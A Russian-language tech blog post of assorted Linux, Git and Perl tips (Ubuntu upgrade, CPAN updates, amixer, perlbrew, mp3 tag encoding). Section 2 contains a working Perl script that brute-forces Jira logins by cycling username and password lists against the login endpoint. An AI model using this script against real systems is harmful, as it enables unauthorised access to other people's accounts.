mini-notes-issue-8/

В этом выпуске: обновление Ubuntu 12.04 до 12.10, исправление кодировки в mp3-тэгах, определение своей производительности с помощью Git, обновление CPAN-модулей, брутфорс Jira, и не только. Предыдущие выпуски: седьмой , шестой , пятый , четвертый .

1. Как обновить Ubuntu 12.04 до 12.10

Обновляется Ubuntu очень просто:

LANGUAGE =en sudo do-release-upgrade -d

Переменная окружения LANGUAGE нужна, чтобы избежать такой вот ошибки:

UnicodeDecodeError: ‘ascii’ codec can’t decode byte 0xd0 in position

Подробности описаны здесь: http://www.linux.org.ru/forum/talks/8358283 .

Обновление занимает довольно много времени. Убедиться, что система действительно обновилась, можно, например, так:

$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=12.10
DISTRIB_CODENAME=quantal
DISTRIB_DESCRIPTION=»Ubuntu 12.10″

Как видите, все очень просто, танцевать с бубном почти не приходится 🙂

2. «Вспоминаем» пароль от Jira

Как-то мне не удавалось зайти в Jira, в результате чего появился такой скрипт:

#!/usr/bin/env perl

use strict ;
use warnings ;

use LWP ;
use LWP :: Protocol :: https ;
use JSON :: XS ;

my $ua = LWP :: UserAgent -> new ( ) ;

for my $login ( qw/user1 user2 userN/ ) {
for my $password ( qw/password1 password2 passwordN/ ) {
my $res = $ua -> post (
‘https://jira.example.ru/rest/gadget/1.0/login’ , {
os_username => $login ,
os_password => $password ,
os_captcha => » ,
} ) ;

if ( $res -> is_success ) {
my $json = decode_json ( $res -> decoded_content ) ;
if ( defined $json -> { loginSucceeded } ) {
print «$login:$password:$json->{loginSucceeded} n » ;
exit if $json -> { loginSucceeded } ;
} else {
die ‘loginSucceeded — undefined!’ ;
}
} else {
die ‘ERROR!’ ;
}
}
}

Только учтите, что после какого-то количества неудачных попыток начинает показываться капча и скрипт становится бесполезным.

3. Подсчет статистики выполненных тасков в Git

Если вам вдруг стало интересно, насколько больше или меньше тасков вы делаете по сравнению со своими коллегами, воспользуйтесь следующим однострочником :

git branch -a | grep -iE ‘remotes/origin/PROJECT-[0-9]+’ |
perl -MDate::Parse -e ‘while(<STDIN>){chomp; $t = `git log -1 $_`;
($a) = $t =~ /Author: .*?<([^>]+)>/; ($d) = $t =~ /Date:s+(.*)/;
($m, $y) = (localtime str2time($d))[4,5]; $y+=1900; $m++;
$cnt{sprintf «%04d-%02d», $y, $m}{$a}++; }
for $d (sort keys %cnt) {
print «== $d ==n»; print «$_ => $cnt{$d}{$_}n»
for sort { $cnt{$d}{$b} <=> $cnt{$d}{$a} } keys %{$cnt{$d}}
}’

Само собой разумеется, все эти метрики — это так, чисто поржать или потроллить.

4. Как получить список файлов, измененных в бранче

А вот еще один однострочник:

git diff —stat
` git merge-base iteration- 2012 12 21 master `
iteration- 2012 12 21
| grep -v ‘files changed’
| cut -d ‘ ‘ -f 2

Как несложно заметить, он предназначен для получения списка файлов, измененных в некотором бранче. Этот список не так то-просто получить, если вы собираете в отдельном бранче итерацию.

5. Получаем полный список CPAN-модулей

Список всех модулей на CPAN можно получить так:

wget http: // www.cpan.org / modules / 02packages.details.txt.gz

На момент написания этих строк CPAN содержал более 125 тысяч модулей.

6. Обновление CPAN-модулей

Допустим, вам зачем-то захотелось обновить все установленные CPAN-модули. Устанавливаем утилиту cpan-outdated:

cpanm App::cpanoutdated

Смотрим список устаревших модулей:

cpan-outdated

Делаем обновление:

cpan-outdated | cpanm

Надо ли этим пользоваться — вопрос, как по мне, спорный.

7. Управление звуком из консоли в Linux и FreeBSD

В Linux можно регулировать звук из консоли командой amixer:

amixer set Master 50 %

Еще можно делать так:

amixer set Master mute
amixer set Master unmute

… но проблема в том, что на момент написания этих строк unmute в Ubuntu не работал (см описание бага ). Если вы случайно замьютили звук и не можете его разомьютить, вам может помочь следующий скрипт:

#!/usr/bin/env perl

use strict ;
use warnings ;

for ( qw/Master Headphone PCM Front Surround Center LFE Side/ ) {
system ( «amixer -c 0 set $_ playback unmute» ) ;
}

А во FreeBSD есть команда mixer:

mixer 50

Все подробности, как обычно, в манах.

8. Форматирование результатов тестирования в Perl

Если у вас есть код на Perl, покрытый модульными тестами , вы можете генерировать отчеты о прогоне тестов в формате HTML с помощью TAP::Formatter::HTML:

prove —formatter =TAP::Formatter::HTML -lr . / t > output.html

… или в формате xUnit с помощью модуля TAP::Formatter::JUnit:

prove —formatter =TAP::Formatter::JUnit -lr . / t > output.xml

Последний прием может пригодится, если вы используете Jenkins .

9. Как исправить кодировку в mp3-тэгах

Самый простой способ, на мой взгляд, следующий:

sudo apt-get install python-mutagen
mid3iconv -e cp1251 ~ / mp3 /*

Некоторые другие варианты описаны здесь .

10. Использование perlbrew

Иногда для тех или иных целей требуется конкретная версия Perl, которая, как на зло, не совпадает с версией, установленной в системе. В таких случаях на помощь приходит утилита perlbrew.

Установка:

sudo cpanm App::perlbrew
perlbrew init

Ставим нужную версию Perl (компиляция из исходников займет какое-то время):

perlbrew install 5.12.4

Список доступных версий Perl:

perlbrew list

Создаем новый набор библиотек (например, под определенный проект ):

perlbrew lib create 5.12.4 @ mongodb_shortener

Меняем текущее окружение:

perlbrew use 5.12.4 @ mongodb_shortener

… и запускаем в нем что-нибудь:

perlbrew exec perl -v

Perlbrew может пригодится, если вам нужна более свежая версия Perl, а обновить его не получается (говорят, это не так-то просто сделать в CentOS). Или если вы хотите протестировать свой код на совместимость с различными версиями Perl и CPAN-модулей. Или, например, если по каким-то причинам вы хотите организовать «песочницы» для CPAN-модулей под каждый из проектов, работающих на вашей машине.

Дополнение: Мини заметки — выпуск 9

EnglishRussianUkrainian